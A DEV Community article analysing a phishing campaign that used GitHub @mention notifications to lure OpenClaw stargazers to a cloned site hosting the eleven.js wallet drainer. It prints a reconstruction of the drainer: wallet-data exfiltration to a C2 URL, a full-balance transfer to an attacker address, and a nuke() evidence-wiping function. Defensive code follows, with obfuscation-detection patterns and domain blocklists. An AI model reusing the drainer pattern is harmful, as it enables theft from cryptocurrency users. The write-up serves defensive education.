DEV Community

Saravana kumar for Cryip

Posted on • Originally published at cryip.co

How the OpenClaw GitHub Phishing Attack Actually Worked - And How to Defend Against It

In early 2026, a phishing campaign targeted developers who had starred the OpenClaw repository on GitHub. No zero-days. No CVEs. Just precise social engineering layered on top of trusted infrastructure - and a JavaScript wallet drainer that wiped its own evidence.
This article covers exactly three things: how the attack unfolded, what the attacker did technically, and what you can do to protect yourself.

How the Attack Unfolded

Building a Target List from GitHub Stars
The attackers did not send a generic blast. They enumerated users who had publicly starred OpenClaw-related repositories on GitHub. This turned a mass phishing attempt into something that felt personal - a message about a project you had already shown interest in.
Attackers started by enumerating users who had publicly starred OpenClaw repositories, built a curated target list from that data, and then used it to send targeted @mentions in GitHub issue threads.
Abusing GitHub's Notification System
Fake GitHub accounts were created roughly one week before the campaign launched - just enough time to satisfy GitHub's account-age thresholds. The attackers then:

  1. Opened issue threads inside repositories they controlled (they had no access to legitimate repos).
  2. Mass-tagged real developers using @username mentions inside those issues.
  3. GitHub's notification system automatically delivered a trusted email alert to every tagged user.

The message read:

"Appreciate for your contributions on GitHub. We analyzed profiles and chosen developers to get OpenClaw allocation."
It promised $5,000 worth of $CLAW tokens and linked to a claim page.
This worked because GitHub notification emails look identical whether they come from a project you contribute to or a random repo you have never seen. Developers are trained to act on them.
The Phishing Site - token-claw[.]xyz
The link, hidden behind a linkshare[.]google redirect, led to a near-perfect clone of openclaw.ai. Visually identical. One addition: a "Connect your wallet" button supporting MetaMask, WalletConnect, Coinbase Wallet, Trust Wallet, OKX, and Bybit.
openclaw.ai - real site, no wallet prompt
token-claw[.]xyz - clone, + "Connect your wallet" button
What the Attacker Did Technically
Everything malicious happened inside a single heavily obfuscated JavaScript file: eleven.js.
OX Security deobfuscated it. Here is what it did, broken into three stages.
Wallet Connection Hijack
When a user clicked "Connect your wallet," the page initiated a standard-looking Web3 connection flow. The wallet extension popup appeared as normal. But after the handshake completed, eleven.js continued executing silently.
// Conceptual reconstruction - actual code was obfuscated
// using eval chains, atob() decoding, and hex-encoded strings

async function connectWallet() {
const provider = await detectEthereumProvider();

// Looks legitimate - requests account access
const accounts = await provider.request({
method: 'eth_requestAccounts'
});

// Malicious step 1 - silently exfiltrate wallet data
await sendToC2({
wallet: accounts[0],
balance: await provider.request({
method: 'eth_getBalance',
params: [accounts[0], 'latest']
}),
chainId: await provider.request({ method: 'eth_chainId' }),
tokens: await getTokenBalances(accounts[0])
});

// Malicious step 2 - attempt unauthorized transfer
await provider.request({
method: 'eth_sendTransaction',
params: [{
from: accounts[0],
to: '0x6981E9EA7023a8407E4B08ad97f186A5CBDaFCf5', // attacker wallet
value: FULL_BALANCE
}]
});
}
The user sees a normal connection prompt. The wallet balance, token list, and chain ID are already gone before they decide whether to approve any transaction.
C2 Communication via watery-compost[.]today
Stolen data was Base64-encoded and POSTed to a separate command-and-control server. The malware tracked each victim's progress through three state labels:

  • PromptTx - Transaction dialog shown to user
  • Approved - User signed and submitted the transaction
  • Declined - User rejected the transaction prompt function sendToC2(data) { const payload = btoa(JSON.stringify({ wallet: data.wallet, balance: data.balance, network: data.chainId, tokens: data.tokens }));

fetch('https://watery-compost[.]today/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: payload
});
}
This separation between the phishing domain and the C2 domain is intentional. Taking down token-claw[.]xyz does not immediately expose or kill the data collection infrastructure.
The nuke() Function (Anti-Forensics)
After the attack sequence completed, eleven.js called an internally named nuke() function. Its only job was to destroy evidence:
function nuke() {
// Clear all browser storage
localStorage.clear();
sessionStorage.clear();

// Remove injected script tags from the DOM
document.querySelectorAll('script[data-injected]')
.forEach(el => el.remove());

// Expire all session cookies
document.cookie.split(';').forEach(cookie => {
const key = cookie.split('=')[0].trim();
document.cookie =
${key}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;
});
}
By the time a victim realized something was wrong, the browser held no trace of what had executed. Combined with the fake GitHub accounts being deleted within hours of launch, the attackers left minimal forensic surface.
How to Technically Defend Against This
Each defense maps directly to a specific technique the attacker used.
Verify the Domain Before Any Wallet Interaction
The attacker relied on visual similarity between token-claw.xyz and openclaw.ai. Automate this check in any Web3 frontend you build or use:
const TRUSTED_DOMAINS = ['openclaw.ai', 'www.openclaw.ai'];

function assertTrustedOrigin() {
if (!TRUSTED_DOMAINS.includes(window.location.hostname)) {
throw new Error(
Wallet connection blocked.\n +
Current domain : "${window.location.hostname}"\n +
Expected : ${TRUSTED_DOMAINS.join(' or ')}
);
}
}

// Call this before any provider.request() call
assertTrustedOrigin();
Never navigate to a wallet-connected site from a link in an email or notification. Type the URL directly or use a bookmark.
Detect Obfuscated Script Injection at Runtime

eleven.js used standard obfuscation patterns: eval(), atob(), String.fromCharCode, and hex-encoded strings. A MutationObserver watching for newly injected scripts can catch this at runtime:
const OBFUSCATION_SIGNATURES = [
/\beval\s*(/,
/\batob\s*(/,
/String.fromCharCode/,
/\x[0-9a-fA-F]{2}/,
/\u[0-9a-fA-F]{4}/,
];

const scriptGuard = new MutationObserver((mutations) => {
for (const mutation of mutations) {
for (const node of mutation.addedNodes) {
if (node.nodeName !== 'SCRIPT') continue;

  const content = node.textContent || '';
  const flagged = OBFUSCATION_SIGNATURES
    .some(pattern => pattern.test(content));

  if (flagged) {
    console.error(
      '[Security] Obfuscated script blocked:',
      node.src || '(inline)'
    );
    node.remove();
  }
}
Enter fullscreen mode Exit fullscreen mode

}
});

scriptGuard.observe(document.documentElement, {
childList: true,
subtree: true
});
This is a tripwire, not a complete firewall. Treat it as one layer of a broader defense.
Validate GitHub Notification Senders Before Clicking
The attacker exploited the fact that GitHub @mention notifications look identical regardless of source. Before clicking any link from a GitHub mention involving tokens or rewards:
Check the age of the account that mentioned you
gh api /users/{MENTIONED_USERNAME} | jq '.created_at'

Check which repo the issue lives in
If it is a repo you have never contributed to - stop.
Hard rules:

  • Account created less than 30 days ago + mentions tokens = ignore and report.
  • Issue is in a repo you have no history with = ignore and report.
  • Message mentions airdrops, allocations, or rewards = ignore and report. Legitimate projects do not distribute token allocations through GitHub issue mentions from unfamiliar accounts. Isolate Your Wallet Surface The attacker's payload attempted to drain FULL_BALANCE from the connected wallet in a single transaction. Reducing what is available to drain limits the blast radius: Hardware wallet (Ledger / Trezor)
    • Holds primary funds
    • Never connected to any browser dApp
    • Every transaction requires physical button confirmation
    • Malicious JavaScript cannot silently sign on a hardware device

Hot wallet (MetaMask / browser extension)

  • Holds only what is needed for the current interaction
  • Used for dApps, testing, claim pages
  • Treat it as disposable If you connected your wallet to a suspicious site before reading this, revoke all approvals immediately at revoke.cash. Block the Known Infrastructure OX Security confirmed both of these domains as part of this campaign's infrastructure: # /etc/hosts - Linux or macOS 0.0.0.0 token-claw.xyz 0.0.0.0 watery-compost.today

Pi-hole or DNS sinkhole - add to blocklist
token-claw.xyz
watery-compost.today

iptables - corporate environments
iptables -A OUTPUT -d token-claw.xyz -j REJECT
iptables -A OUTPUT -d watery-compost.today -j REJECT

Summary

Target selection
Technique: GitHub public star enumeration
Defense: Nothing stops this - awareness only
Delivery
Technique: GitHub @mention notification abuse
Defense: Validate sender account age + repo
Lure site
Technique: Pixel-perfect domain clone
Defense: Domain verification before wallet connect
Payload
Technique: Obfuscated JS (eleven.js)
Defense: Runtime script injection detection
Exfiltration
Technique: Base64 POST to C2
Defense: DNS-level domain blocking
Evidence wipe
Technique: nuke() clears storage and DOM
Defense: Hardware wallet - JS cannot sign silently
No part of this attack was technically sophisticated in the traditional sense. It was a precise assembly of trusted infrastructure, social pressure, and a well-written wallet drainer. The attacker's advantage was that developers extend implicit trust to GitHub notifications. That trust is the actual vulnerability.

Top comments (0)